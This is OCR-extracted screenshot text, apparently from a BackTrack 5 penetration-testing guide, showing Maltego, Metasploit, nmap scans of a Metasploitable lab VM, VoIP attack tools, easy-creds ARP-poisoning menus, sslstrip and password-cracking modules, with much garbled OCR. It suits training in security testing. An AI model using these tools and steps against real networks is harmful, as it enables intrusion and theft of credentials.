Startup wizard - Select transform seeds (4 of 5)

s Start Page
TRERETahe Discover transforms from:
I Maltego public servers

seeds

o Local TAS (Transform Application Server)

Note: The transform seed settings can be changed later through Manage->Discover
Transforme.

MALTEGO |

<Back |[ Next> ][ Einish cancel

] Show on Startup
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* Connect...

127.

55553

msf

test

Connect | | Help
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root@bt:~# apt-get install xplico

Reading package lists... Done

Building dependency tree

Reading state information... Done

The following packages were automatlcally installed and are no- tvngg,r required:
libecryptfse libdmraidl.0.0.rc16 libdebconfclient® ecryptfs- ut;k&&ﬁptsetup
rdate bogl-bterm libdebian-installer4 reiserfsprogs dmraid pythmnpyicu

Use 'apt-get autoremove' to remove them.

The following extra packages will be installed:
libsqlite@ php5-sqlite

The following NEW packages will be installed:
libsqlite® php5-sqlite xplico

0 upgraded, 3 newly installed, © to remove and 0 not upgraded.

Need to get 3,370kB of archives.

After this operation, 76kB of additional disk space will be used. I
Do you want p }tm P r m r
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Maltego BackTrack Edition 3
Manage _Organize

Wy i

b of esits | MY
P Cl & .
R * Welcome to Maltego!

steps Startup wizard - Update transforms (5 of 5
Welcome
Recent Graphs Logi

Congratulations!
Login result

lect transform seeds
Update transforms.

Your new Maltego dlient has been initialized sucessfully!

3 new application server(s) were found
139 new transforms were found
76 new entities were installed

You are now ready to use Maltego!
® Open a blank graph and let me play around
) Open an example graph

Go away, | have done this before!

MALTEGO |

cancer |
& show on startup
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&, Accessories
& BackTrack
& intemet
W office

H Other

¥ | sound & video

I-" :
. Wine

n

L

Q, Information Gathering

“la inerability Assessment

\‘ Privilege Escalation
B Maintaining Access
T Reverse Engineering

# RFID Tools

|

=

=

=

L

& Network Exploitatior

# Cisco Altacks

# Open Source £ & armitage: | f Met ;;,;" Fran
# Social Enginee & msftli & SAP Exploitation

# Web Exploitati = msfconsole

# Wireless Expic & msfupdate
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2, Select Mode

Mode

o wim
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Welcome to Maltego!
Steps

PR | 1 Velcome
Login

in result

ect transform seeds
Update transforms

Recent Graphs

MALTEGO |

7] Show on Startup

Startup wizard - Login (2 of 5)

Enter your details below to login to the Maltego Community Server

or if you have not done so yet, register here

Login

* Email Address

Password

and m‘ﬂ

*Solve captcha

Back | [zt [ B |
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[ % start Metasploit?

A Metasploit RPC server is not running or
not accepting connections yet. Would you
like me to start Metasploit's RPC server

for you?
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root@bt:/pentest/enumeration/snmp/snmpenum# nmap -0 192.168.56.102

starting Nmap 6.601 ( http://nmap. org ) at 2012-10-26 10:40 EDT
imap scan report for 192.168.56.
fost is up (©.00061s latency).
lot shown: 977 closed ports
Y0RT STATE SERVICE

21/tcp open fip

22/tcp  open ssh

23/tcp open telnet

25/tcp  open smtp

53/tcp  open domain

30/tcp  open http

111/tcp open rpcbind

139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs

2121/tcp open ccproxy-fip
3386/tcp open mysgl

5432/tcp open postgresgl
5900/tcp open

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: ©8:00:27:17:81:3C (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 2.6.X

0S CPE: cpe:/o:linux:kernel:2.6
0S details: Linux 2.6.9 - 2.6.31
Network Distance: 1 hop

0S detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.52 seconds
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Welcome to the New Virtual Machine Wizard!

This wizard will guide you through the steps that are necessary to areate a new virtual machine for VirtualBox.

Use the Mext button to go to the next page of the wizard and the Back button to return to the previous page. You
can also press Cancel if you want to cancel the execution of this wizard.
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Capture Analyze Statistics Te
Interfaces... Ctri+l |
Options... Ctri+K

Restal
Capture Filters... |
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[T Manage  Organize

+ Copy Nurmber of Resuts

p. clear * <)
W * Welcome to Maltego!
Y| steps

PSS | 1 Welcome
Login

Recent Graphs ot
Select transform
Update tfansfarms

MALTEGO |

¥ Show on Startup

Startup wizard - Welcome (1 of 5)

Welcome to Maltego 3.1 BackTrack Edition!

“This wizard will guide you through the steps of setting up your
Maltego Client for first use.

We hope that you enjoy using our product as much as we enjoy.
building it

Please note that the Community Edition is intended for
non-commercial use only!

Finish

and other
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X\ Device Description P Packets Packets/s |
] ethl 192.168.56.101

@ usbmonl USB bus number 1 1662

O @lany Pseudo-device that captures on all interfaces

O fllo 127.001

Help || options
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rooi@bt:/pentestfenumerafion/snmp)énmpenum# nmap -p 22 192.168.56.*

Starting Nmap 6.01 ( http://nmap.org ) at 2012-10-26 10:28 EDT
Nmap scan report for 192.168.56.1

Host is up (0.00067s latency).

PORT  STATE SERVICE

22/tcp filtered ssh

MAC Address: 08:00:27:00:8C:00 (Cadmus Computer Systems)

Nmap scan report for 192.168.56.100

Host is up (0.80819s latency).

PORT  STATE SERVICE

22/tcp filtered ssh

MAC Address: 88:00:27:ED:9B:76 (Cadmus Computer Systems)

Nmap scan report for 192.168.56.101
Host is up (0.00012s latency).

PORT STATE SERVICE

22/tcp closed ssh

Nmap scan report for 192.168.56.102

Host is up (0.08836s latency).

PORT  STATE SERVICE

22/tcp open ssh

MAC Address: 08:00:27:17:81:3C (Cadmus Computer Systems)

Nmap done: 256 IP addresses (4 hosts up) scanned in 55.42 seconds
root@bt: /pentest/enumeration/snmp/snmpenum#
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Memory

Select the amount of base memory (RAM) in megabytes to be allocated to the virtual machine.
The recommended base memory size is 512MB.
Base Memory Stze:

— 52

48 s152M8
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root@bt:~# cd /usr/local/etc/voipong
root@bt: /usr/local/etc/voipong# J|
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* Zenmap

Target: || v | Profile: |Intense scan v | |scan| |¢
L

Command: [nmap T4 -A-v

Hosts || Services | | Nmap Output | Ports / Hosts | Topology | Host Details | Scans

05 Host vl

Filter Hosts
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VM Name and OS Type

Enter a name for the new virtual machine and select the type of the quest operating system you plan to instal ento
the virtual machine.

The name of the virtual machine usually indicates its software and hardware configuration. It wil be sed by al
VirtualBox components to identify your virtual machine.

Name

Metasploitable 2
05 Type
Operating System: [Linux

Version: (Ubunty
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ethl and USB bus number 1: usbmonl - VoIP Calls

Detected 0 VoIP Calls. Selected 0 Calls.
Start Time v_Stop Time __Initial Speaker _ From To
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root@bt:/pentest/enumeration/snmp/snmpenum# nmap 192.168.56.102

Starting Nmap 6.01 ( http://nmap.org ) at 2012-16-26 10:23 EDT
Nmap scan report for 192.168.56.102
Host is up (0.00014s latency).
Not shown: 977 closed ports
PORT STATE SERVICE

21/tcp  open ftp

22/tcp  open ssh

23/tcp  open telnet

25/tcp  open smtp

53/tcp open domain

86/tcp open http

111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login

514/tcp open shell

1699/tcp open rmiregistry
1524/tcp open ingreslock
2043/tcp open nfs

2121/tcp open ccproxy-ftp
3306/tcp open mysql

5432/tcp open postgresql
5900/tcp open vnc

6600/tcp open  X11

6667/tcp open irc

8009/tcp open ajpl3
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Virtual Hard Disk

1F you wish you can now 2dd a start-up sk to the new machine. You can either reate a new virtualdisk or select
one from the st or from another location using the folder icon.

If you need a more complex virtual disk setup you can ski this step and make the changes to the machine settings
once the machine is created.

The recommended size of the start-up disk is 8.00 GE
[¥] start-up Disk
©

Create new hard disk
® Use excsting hard disk
[Metas .vmdk (Normal, 8.00 GB) - @
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Install directory: /usr/lecal

ibraries :

LIBPCAP .
LIBNET ..
NCURSES ..

default
default

Functionalities :

#back | track 5

Compression support
Passive DNS
Perl regex in filters ..

Iconv UTF-8 support .... yes
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root@bt:/pentest/enumeration/snmp/snmpenum# nmap -p 1-1006 192.168.56.102

Starting Nmap 6.61 ( http://nmap.org ) at 2012-18-26 10:25 EDT
Nmap scan report for 192.168.56.102

Host is up (0.00014s latency).

Not shown: 988 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

MAC Address: 08:00:27:17:81:3C (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 16.68 seconds
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| « VirtualBox » VM » Metasploitable2-Linux

[ 49§ Search Metasploitablez-Linux P

Organize v Newfolder

- 0 e

8 Downloads ~ *  Name
E Recent Places

Date modified Type

|\ Metasploitablevmdk

8/25/20126:53PM __ Virtual Machine Di..

4 Libraries
[ Documents
& Music
& Pictures
B Videos

8 Computer
& Local Disk (C)
) DVD/CD-RW Driy
s New Volume ()

File name: Metasploitable.vmdk
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15169 A3
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1. Select Interface

™

eth0 (10.02.15)
USB bus number 1

Pseudo-device that captures on all interfaces

lo (127.00.1)
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root@bt:/pentest/enumeration/snmp/snmpenum# nping --echo-client "public" echo.nmap.org

starting Nping

SENT (0
slen=28
APT (0
28

VD (0
len=28
SENT (1
slen=28
TAPT (1
=28

VD (1
len=28
SENT (2
slen=28
TAPT (2
1=28

VD (2
len=28
SENT (3

.75405)
.8103s)
.83325)
.75445)
.79485)
-8331s)
.7544s)
.7947s)
.8330s)

.7560s)

©.6.01 ( http://nmap.org/nping ) at 2012-10-26 10:65 EDT

1P

10MP

el

1P

1P

e

1P

1cHP

ICHP

cHe

192.168.10.108 >

75.30.92.10 > 74.

74.207.244.221 >

192.168.10.108 >

75.30.92.10 > 74.

74.207.244.221 >

192.168.10.108 >

75.30.92.10 > 74.

74.207.244.221 >

192.168.10.108 >

74.207.244.221 Echo request (type=8/code=0) ttl=64 id=2488 i
207.244.221 Echo request (type=8/code=8) ttl=52 id=2488 iple
192.168.10.108 Echo reply (type=6/code=8) ttl=50 id=58181 ip
74.207.244.221 Echo request (type=8/code=0) ttl=64 id=2488 i
207.244.221 Echo request (type=8/code=6) ttl=52 id=2488 iple
192.168.10.168 Echo reply (type=b/code=0) tt1=50 id=58182 ip
74.207.244.221 Echo request (type=8/code=0) ttl=64 id=2488 i
207.244.221 Echo request (type=8/code=0) ttl=52 id=2488 iple
192.168.10.108 Echo reply (type=6/code=8) tt1=50 id=58183 ip

74.207.244.221 Echo request (type=8/code 4 id=2488 i
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Summary
You are going to create a new virtual machine with the following parameters:

Name: Metasploitable 2
05 Type: Ubuntu
Base Memory: 512 MB
Start-up Disk: Metasplotable. vmak (Normal, 8.00 GB)

If the above is correct press the Create button. Once you press it, a new virtual machine wil be created.

Note that you can alter these and all other setting of the created virtual machine at any time using the Settings
dialog accessble through the menu of the main window.
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1. Select Interface

© Monitor

Output and Status

Miscellsncous Options
© Enabie arp roquest posoning
© Enable SIP g
© Enable Verbose mode
© Bypass of GARP Disablement
© Enable TFTP Modify Attack
© Enabe Mising AV

3. Start UCST

St st

4. Stop UCSfl

v
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root@bt:/pentest/exploits# /opt/metasploit/msf3/msfcli auxiliary/scanner/portscan/xmas S
[*] Please wait while we load the module tree...

Name:
Module:
Version:
License:
Rank:

TCP "XMas"
14976
Normal

Provided by:

Port Scanner

auxiliary/scanner/portscan/xnas

Metasploit Framework License (BSD)

kris katterjohn <katterjohn@gmail.com>

Basic options:
Name

PORTS 1-10000

RHOSTS

SNAPLEN 65535

THREADS 1

TIMEOUT 500
Description:

Enumerate open|filtered TCP services using a raw "XMas" scan;

current ttxng Requx
BAT(HSIZ< s< The
INTERFACE The

yes
yes
yes
yes
yes

Po

The
The
The
The

ription

s to scan (e.g. 22-25, se,

this

sends probes containing the FIN, PSH and URG flags.

-9
target address range or CIDR identifier
number of bytes to capture

number of concurrent threads
reply read timeout in milliseconds

r3\
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| *dmitry-result.txt 3
Gathered Netcraft information for targethost.com

Retrieving Netcraft.com information for targethost.com
Netcraft.com Information gathered

Gathered Subdomain information for targethost.com

Searching Google.com:80...
HostName:community.targethost.com
HostIP:192.168.10.201
HostName:www.targethost.com
HostIP:192.168.10.260
HostName:smtp.targethost.com
HostIP:192.168.10.206

HostName: ftp.targethost.com
HostIP:192.168.10.210
HostName:private.targethost.com
HostIP:192.168.10.268

Searching Altavista.com:86.

Found 4 possible subdomaln(s) for host isoftdev.eu, Searched @ pages
containing © results
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rootigot: /pentest/explolis# /opt/metasplolt/msT3/msTcll auxilliary/scanner/portscan/xmas A
[*] Please wait while we load the module tree...

Name : GATEWAY

Current Setting: =y

Description : The gateway IP address. This will be umn a random
renote address for the UDP probe, if set.

Name : NETMASK ~

Current Setting: 24

Description  : The local network mask. This is used to decide if gn address is

in the local network.

Name : Sthmgress

Gurrent setting: tr e T
=% <barktrack 5

Current Setting: 1

Description  : The interval in percent that progress should be shown
Name : UDP_SECRET

Current Setting: 1297303091

Description  : The 32-bit cookie for UDP probe requests.

Name : VERBOSE

Current Setting: false
Description  : Enable detailed status messages
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File Edit View Transport Tracks Gener

Save Project As.
Save Compressed Copy of Project.

eck Dependencies.

Open Metadata Editor
import
LabeTe:
MIDI
Raw Data

© End O Length Audio Position:

00h00m00s~ [00n00mO0s~
Apply Chain

Edit Chains.

Exit ari+Q
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Size Mount Directory Type

Enter password for "/root/Cryptvolume

passwors i \

[ Cache passwords and keyfiles in memory Cancel
(] Display password

0 Use keyfiles Keyfiles... | | options >
Create Volume | Volume Pre e

Volume

[ rootzCryptvolume [7] [ selectFie.. |
# Never save history

| Volume Tools... | | Select Device...

Mount ‘ lAu\o-MuunlDEw(es‘ [ DismountAll | ‘ Exit
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root@ht /p!ntest/passwrds/sxp(rack# /sxpcrack

SIPcrack 0.3 ( MaJoMu | www.codito.de )

Usage: sipcrack [OPTIONS] [ -s | -w <wordlist> ] <dump file>

<dump file> = file containing 1agms sniffed by SIPdu 1 r3 \
<eDaC

fo pa
-w wordlist f11e containing all passwﬂrds to try
-p num = print cracking process every n passwords -u)

(ATTENTION: slows down heavily)

* Either -w <wordlist> or -s has to be given
root@bt:/pentest/passwords/sipcrack#
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Console X

metasploit v4.2,0-release [core:d.2 api:l.0]
805 exploits - 450 auxiliary - 135 post

+ -~ --=[ 246 payloads - 27 encoders - 8 nops
svn r14805 updated 177 days ago (2012.62.23)

Warning: This copy of the Metasploit Framework was last updated 177 days ago.
We recomnend that you update the framework at least every other day.
For information on updating your,copy of Metasploit, please see:
https: //conmunity . rapid?. comjdocs/DOC-1306

nsf > |
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root@bt:/pentest/passwords/sipcrack# ./sipdump

SIFdfp 6.3 ( MaloMu ww.mdito.de)k I
Usage: sipd$ [OPTION! Ialg t ra C
<dump file> file where captured logins will be written to

Options:

-i <interface> = interface to listen on

-p <file> = use pcap data file

-m = enter login data manually
-f "<filter>" = set libpcap filter

* You need to specify dump file
bt assw i a
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Size Mount Directory Type

< 10
w11
w12

Create Volume

Volume

E | [7] [ setectFi
Sleies=aic Aety Volume Tools... | | Select Device...

{ Mount iAulo-MounlDevi(esH Dismount Al J‘ Exit
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msf > use auxiliary/analyze/jts, Linux| o
msf auxilidary(j}€L linuk) > show loptigns

—h
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root@ht:/pentest/voip# voiphopper -i ethe -c 2

VoIP Hopper 2.04 Running in CDP Spoof mode

Sending 1st CDP Spoofed packet on eth® with CDP packet data:

Device ID: SEP@O1EF7289C8E; Port ID: Port 1; Software: SCCP70.8-3-3SR2S
Platform: Cisco IP Phone 7971; Capabilities: Host; Duplex: 1

Made CDP packet of 125 bytes - Sent CDP packet of 125 bytes
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Volume Location

| select File.

Never save history

*Specify a New TrueCrypt Volume byt container),

Name: [cryptvolume

Save in folder: | iairoot

+| Browse for other folders

jng files (later
jou are about

to create now.
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msf > search linux

Matching Modules

Name =
escription

auxiliary/admin/http/jboss_seam exec
Boss Seam 2 Remote Command Execution
auxiliary/analyze/jtr_linux
ohn the Ripper Linux Password Cracker

auxiliary/analyze/jtr unshadow r3 qn}\\al
nix Unshadow Utility \

=i hack | track W
etGear MAS21 Wireless g s overflow

auxiliary/dos/wifi/netgear wg3llpci

etGear WG311vl Wireless Driver Long SSID Overflow
auxiliary/scanner/http/atlassian_crowd fileaccess normal

tlassian Crowd XML Entity Expansion Remote File Access

auxiliary/scanner/http/vmware server normal
Mware Server Directory Traversal Vulneral

auxiliary/server/pxexploit normal
XE Boot Exploit Se

exploit/freebsd/samba/trans2open 2003-04-07 00:00:00 UTC great

amba trans2open Overflow (*BSD x86)
exploit/linux/browser/adobe flashplayer aslaunch 2008-12-17 00:00:00 UTC good

S

A
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root@bt:/pentest/voip# voiphopper
voiphopper -i <interface> -c {0]1|2} -1 <DEVICEID> -a -n -v <VLANID>

Please specify 1 base option mode:

LLDP Spoof Mode (-0 B@1EF7289C8E) ;
Example: voiphopper -i eth® -o ©01EF7289C8E “/‘
COP Sniff Mode (-c ©)

Example: voiphopper -i ethe -c @

CDP Spoof Mode with custom packet (-c 1):
-E <string> (Device ID)
-P <string> (Port ID)

-C <string> (Capabiliti r3 \
UL <string> latform) \
SEEEback | track
-U <string> uple

%

Example: voiphopper -i eth® -c 1 -E 'SIPO@O7OEEAS686' -P 'Port 1' Cisco IP Phone 794
@' -S 'PO63-08-8-00' -U 1

CDP Spoof Mode with pre-made pa:ket (-c2)
Example: voiphopper -i ethe -c

Avaya DHCP Option Mode (-a):
Example: voiphopper -i eth® -a

VLAN Hop Mode (-v VLAN ID):
Example: voiphopper -i eth® -v 200





OEBPS/Image00034.jpg
# ProxyList format

# type host port [user pass]

# (values separated by "tab" or "blank")

#

#

# Examples:

=

# socks5 192.168.67.78 1080 lamer secret
3 http 192.168.89.3 8080 justu  hidden
# socks4 192.168.1.49 1080

# http 192.168.39.93 8080

#

#

# proxy types: http, socksd4, socksS

# ( auth types supported: “basic”-http “user/pass'-socks )
#

[ProxylList]

# add proxy here ...

# meamwile

# defaults set to "tor"
socksd 127,.0.0.1 9050

50(:55 o8, .206,.2.3 883
socks J6,22.86.170 1658
socks ..1 189.87.236,22 1080

socksS 62.243,2 4.1uU 1080
socksS 122.194.11.2@8 1080
socksS 78,33.204 .42 1UBGl
== THSERT --
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st

auxiliary(jtr linued's explois

|

Seeding wordlist with DB schema info... @ words added
Seeding with MSSQL Instance Names....0 words added
Seeding with hostnames....l words added

Seeding with found credentials....6 words added
Seeding with cracked passwords from John....0 words added
Seeding with default John wordlist...88395 words added
De-duﬁing the wordlist....

Wordlist Seeded with 88399 words

Auxiliary module execution completed
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msf > use auxiliary/scanner/sip/options
auxiliary(options) >
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TrueCrypt 7.la Setup

TrueCrypt iz a software system for establishing and naintaining an
on—-the-fly-encrypted volume {data storage device}). On-the-fly encryption
neans that data are automatically encrypted or decrypted right before they
are loaded or saved, without any user intervention, Ho data stored on an
encrypted volune can be read {decrypted} without using the correct
password/keyfile{s} or correct encryption keysz, Entire file systen is
encrypted {e,g,, file nanes, folder nanes, contents of every file,

free space, neta data, etcl.

Please select one of the below options:

| Extract .tar Package File | | Install TrueCrypt I
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i auxiliﬁ{&(}@j}linﬁﬁl = show options B &~ KK P
:f:‘: % ‘ i..ix - 4 1 b : ,\ 5 B L 4l - g ‘ )

dule options (auxiliary/analyze/jtr linux)

Mo

X
Name Current Setting Required Description
Crypt false no Try crypt() format hashes(Very Slow)
JOHN BASE no The directory containing John the Ripper (src, run, doc)
JOHN PATH no The absolute path to the John the Ripper executable
Munge false no Munge the Wordlist (Slower)

Wordlist no The path to an optional Wordlist
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g
|
!

X

I
£
1

lent  Ame

SIP Username Enumerator (UDP)

auxiliary/scanner/sip/enumerator_tcp normal
SIP Username Enumerator (TCP)
auxiliary/scanner/sip/options ~ norma

SIP Endpoint Scanner (UDP)
auxiliary/scanner/sip/options_tcp

SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/sipdroid ext enum i norma
SIPDroid Extension Grabber S
auxiliary/server/capture/sip ~ norma

Authentication Capture: SIP
auxiliary/voip/sipginvite spoof
SIP Invite Spoo

explniﬁn%/brws 1 /?0‘%;&?%103?9&#’%3 %’bﬁ-ﬁ"’j@'

ne T6Q ActiveX:Control Afbitrary. File-Download‘and Execute |
exploit/windows/sip/aim triton cseq 2006-07-10 00:00:00.UTC” great
AIM Triton 1.08.4 CSeq Buffer Overflow 2

exploit/windows/sip/sipxezphone cseq 2006-07-10 00:00:00 UTC great
SIPfoundry sipXezPhone ©.35a CSeq Field Overflow
exploit/windows/sip/sipxphone cseq 2006-07-10 00:00:00 UTC great]

SIPfoundry sipXphone 2.6.0.27 (Seq Buffer Overflow
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root@bht:/tmp# cd /imp
root@bt:/tmp# wget http://developer.download.nvidia. com!compute/cuda/4 1{re1/dr1vers/NVIDIA Linux
-X86 64-285.05.33.run
--2012-89-27 21:03:51-- http://developer.download.nvidia. com/compute{cnda/4 l/rel{drlvers/NVIDIA
-Linux-x86 64-285.05.33.run
Resolving developer.download.nvidia.com... 64.213.163.56, 64.213.163.215
Connecting to developer.download.nvidia.com|64.213.163.56|:80... connected.
HTTP request sent, awaiting response... 280 0K ’
Length: 56718739 (54M) [application/octet-stream] :
Saving to: "NVIDIA- Llnux x86 _64-285.05.33.run’ n ‘ - =
! S N - )

& - e
P .

i
. -y l -
2012-09-27 21:05:12 (690 KB/s) - "NVIDIA-Linux-x86 64- 285 B5. 33 run’ saved [56?19739/56?10739]

. En
‘ x s B
W

41

100%[ f.] 56,719 739~ -694K/s  in 86s

A

root@bt: /tmp# [





OEBPS/Image00138.jpg
root@bt:/pentest/explo:
Usage: /opt/metasploi

s# msfcli -h
sf3/msfcli <exploit name> <option=value> [mode]

Mode Des

Pt G i ¢

Jack lirack 5

-

(AC)tions Show available actions f this auxiliary module
(C)heck Run the check routine of the selected module
(E)xecute Execute the selected module

(H)elp You're looking at it baby!

(I)DS Evasion Show

(0)ptions Show
[(FEVCELE Show
(S)ummary Show
(T)argets Show

available ids evasion options for this module
available options for this module

available payloads for this module
information about this module

available targets for this exploit module
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* Run Application

o . —

O Run in terminal | Run with fil

+| Show list of known applications.

Help | | cancel “ Run
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# The option below idenmtifies how the ProxyList is treated.
# only one option should be uncommented at time,
# otherwise the last appearing option will be accepted

#
Bynamic_chain
-3

# Dynamic - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# at least one proxy must be online to play in chain

# (dead proxies are skipped)

# otherwise EINTR is returned to the app

#
#strict_chain

#

# Strict - Each connection will be done via chained proxies
# all proxles chained in the order as they appear in the list
# all proxies must be online to play in chain

# otherwise EINTR is returned to the app

=

#random_chain

#

# Random - Each connection will be done via random proxy
# (or proxy chain, see chain len) from the list.
# this option is good to test your IDS :)

# Hake sense only if random_chain
#chain len = 2

-- INSERT --
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root@bt: /pentest/exploits# msfcli
[#*] Please walt while we load the module tree...
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ull

<<ebacked track

Module optié (@lxili

Name

BATCHSIZE 256

CHOST
CPORT
RHOSTS
RPORT
THREADS
T0

5060

5060
1
nobody

nst auliliary(options)y > show optiong | a5
Current Setting Required Deskription

yes
no
no
yes
yes
yes
no

The number of hosts to probe in each set

The local client address

The local client port

The target address range or CIDR identifier
The target port

The number of concurrent threads

The destination username to probe at each host
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ot@bt: /pentest/enumeration/dns/dnsenum# ./dnsenum.pl --enum

dnsenum.pl VERSION:1.2.2

Warning: can't load Net::Whois::IP module, whois queries disabled.

ns2.bluehost.com
nsl.bluehost.com

ASPMX2.GOOGLEMAIL. com
ASPMX3.GOOGLEMAIL. com
ASPMX4 .GOOGLEMAIL. com
ASPMX5.GOOGLEMAIL. com
ASPMX.L.GOOGLE. com
ALT1.ASPMX.L.GOOGLE.com

14400

23
194

IN

IN
IN

= > >

10

o
w

-] o

4= o
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Internet Traffic Decoder (NFAT).
See http://www.xplico.org for more information.

Copyright 2007-2011 Gianluca Costa & Andrea de Franceschi and contributors
This is free software; see the source for copying conditions«Fhere=is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

This product includes GeoLite data created by MaxMind, available fromfhttp://www]
.maxmind.com/.

Configuration file (/opt/xplico/cfg/xplico cli.cfg) found!

GeoLiteCity.dat found!

usage: xplico [-v] [-c <config file>] [-h] [-g] [-1] [-i <prot>] -m <capute.mogy
le> .

-v yersion [, *” $ | gl |
-c“eonfig, file

-h this help

-i info of protocol ‘prot’

-g display graph-tree of protocols

-1 print all log in the screen

-m capture type module

NOTE: parameters MUST respect this order
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Name:  Windows Scan Back to Tasks
Comment:

Config:  Windows Vulnerabilities

Escalator:

Schedule: (Next due: over)

Target:  Local Network

Slave:

Statu: T

Reports: 1 (Finished: 1)

Reports for "Windows Scan" & [ Jasoly overdes + K23

— reat |ScmResuts 0.
T

Wed Dec 5 15:48:34 2012
bl [ low | 31 o @0

Notes on Results of "Windows Scan” @ &

v [ oo |
|

Overrides on Results of "Windows Scan" B &

v T o [ Do ]
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Set’;;ng up iptables to handle traffic routing.Do you have a populated file of victims
1) n
I[P address of the gateway: 192.168.160.1
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* AMD Catalyst(TM) Proprietary Driver 8.93 Setup
Options
# Install Driver 8.98 on X.Org 6.8 or later 64-bit

+ Generate Distribution Specific Driver Package
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New Task '!-"

Name Network Vulnerabilities
Comment (optional)

Scan Config MNetwork

Scan Targets Local Network -

Escalator (optional) - -

Schedule (optional) — -

Slave (optional) ~- -

Create Task
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Setgng up iptables to handle traffic routing.Do you have a populated file of victims
LR
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New Scan Config @

Name Linux Vulnerabilities

Comment (optional)

®
A Empty, static and fast
Full and fast

Create Scan Config






OEBPS/Image00230.jpg
sslstrip 0,9 by Hoxie Marlinspike running...

rting Unified sniffing...

~ v | x |Dsniff
ismFF: listening on etho
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2 Configuration

o Scan Configs e

o Targets

o Credentials

o Agents

o Escalators

o Schedules

o Report Formats
o Slaves
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bt
IP address of the gateway: 192.168.10.1

IP address or range of IPs to poison (ettercap format): 192.168.10.115
Creating folder to keep your attack output in...

Would you like to include a sidejacking attack? (y/n): n
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2 Configuration
o Scan Configs
o Targets
o Credentials
o Agents
o Escalators
o Schedules
o Report Formats

o Slaves
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root@root: -# prepare-kernel-sources
[*] Kernel source seems to be available
scripts/kconfig/cont --silentoldconfig Kconfig
CHEK include/linux/version.h
CHE include/generated/utsrelease.h
CALL scripts/checksyscalls.sh
RIERELEY
root@root: -2 |
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root@ht:/tmp# cd /tmp = e \
rootght:/tmp# Wet http://wm.braodcon. con/docs/Linux sta/byerT-portsre
5 100 82 112.tar.gz
012-09-25 21:55:13-~ http.//ww.brandcol.con/docs/l)nnxista/hyhri ortsrc x8
6 64-v5 100 82 112.tar.qz

Resolving www.braodcon. con. .. 141.8.224.106

Connecting to www.braodcom. com|141.8.224. 1as| 80... connected.
HTTP request sent, awaiting response.

Length: unspecified [text/htnl] r3
saving to: ‘<brzortb zk tr a k \
[ <= 53 g{

2012-69-25 21:55:16 (249 KB/s) - "hybri-portsrc x86 64-v5 100 82 112.tar.gz' sav
ed [53536]
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Task Summary @ &

Name: Back to Tasks
Comment:

Config:  Eull and fast
Escalator:

Schedule: (Next due: over)
Target:  Localhost
Slave:

Status: (L
Reports: 1 (Finished: 1)

Reports for "Local Vulneral

= ERCE N

Thu Aug 9 11:46:07 2012 [
ot ] 0 1 1 13 o B0

Notes on Results of "Local Vulnerabilities Scan” B &
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root(dbt ~# cd /pentest/smffers/easy creds
root@bt: /pentest/smff_ers/easy creds#'#. 1
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0 MITM attack(s) stopped
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New Scan Config @

Name Network Vulnerabilities|

Comment (optional)

®
Base Empty, static and fast
Full and fast

Create Scan Config
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/3.6-BT5 11/08/2011
'his script leverages tools for stealing credentials during a pen te
** At any time, ctrl+c to return to main menu ***

Create Victim Host List

sie-back | track £

ICMP Poison
Previous Menu

L.
&
3.
b
.
2
a5

oice:
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2 Configuration
o Scan Configs
o Targets
o Credentials
- Agents

o Escalators

o Schedules

o Report Formats
o Slaves
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#nRER A #ERE # # R R R R R
## ## #__##

#
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# P # # # i
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AR £ MR # Bt # 8 eREEER peE A
v3.6-BT5 11/08/2011

This script leverages tools for stealing credentials during a pen te
*++ At any time, ctrl+c to return to main menu ***

Prerequisites & Configurations
Poisoning Attacks

FakeAP

Data R

Exit

Quit current poisoning session

BAEWN M

Choice:
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2 Configuration
o Scan Configs
o Targets
o Credentials
= Agents
o Escalators
o Schedules
o Report Formats

o Slaves
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Provide path for saving log files, ex. root, *NOT* /root/:
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Tabs Help

O Power
&) Removable Devices >
Pause CurleShiteP

() Send Ctrl+Alt+Del

Grab Input culeG
& snapshot ,
Capture Screen CurleAlt+PrtSecn

Capture Movie.

Manage »
‘ Install VMware Tools.

(G Settings. CtrlsD.
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Edit Scan Config Details L

Name: Network
Comment:

Edit Network Vulnerability Test Families

Family © Fe® NVT's selected Select all NVT's

AIX Local Security Checks
Brute force attacks

Buffer overflow

CISCO

CentOS Local Security Checks
Compliance

Credentials

Databases

Debian Local Security Checks
Default Accounts

Denial of Service

FiP

Oof1
0of 11
0 of 333
0of4
0 of 669
0of 3
0of 2
0 of 52
0 of 2189
0 of 20
0 of 619

0 of 142

) 7 &)= |
oldold
ool
ool
O] 7 (@)=
ool
edokd
eloLd
edold
edoll

=

d

ede

B EEEEEREEEEEE

Back to Configs

fEE e NN REEED
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Network Interfaces:
ethe Link encap: hernet HWadd 08:00:27:

i gﬂr: L
ethl Kﬁ ap ael

inet6 addr:
Interface connected to the network, example ethe:
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root@bt:~# cd /tmp
root@bt:/tmp# wget http://www2.ati.com/drivers/linux/amd-driver-installer-12-1-x86.x86_64.run
--2012-09-27 20:38:28-- http://www2.ati.com/drivers/linux/and-driver-installer-12-1-x86. X86 64.r
un

Resolving www2.ati.com... 12.120.106.146 —

Connecting to www2.ati.com|12.120.106.146]:80. .. Connect&d}

HTTP request sent, awaiting response... 200 0K e e

Length: 106085279 (101M) [application/octet-stream] -
Saving to: "amd-driver-installer-12-1-x86.x86 64.run' -~

100%[ 1 106,085,279 702K/s n 2m 36s

2012-69-27 20:41:04 (665 KB/s) - 'amd-driver-installer-12-1-x86.x86 64.r1 06085279/1060
85279]

wamy o el | $rack B\
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Click on the Download Arrow to view the report:

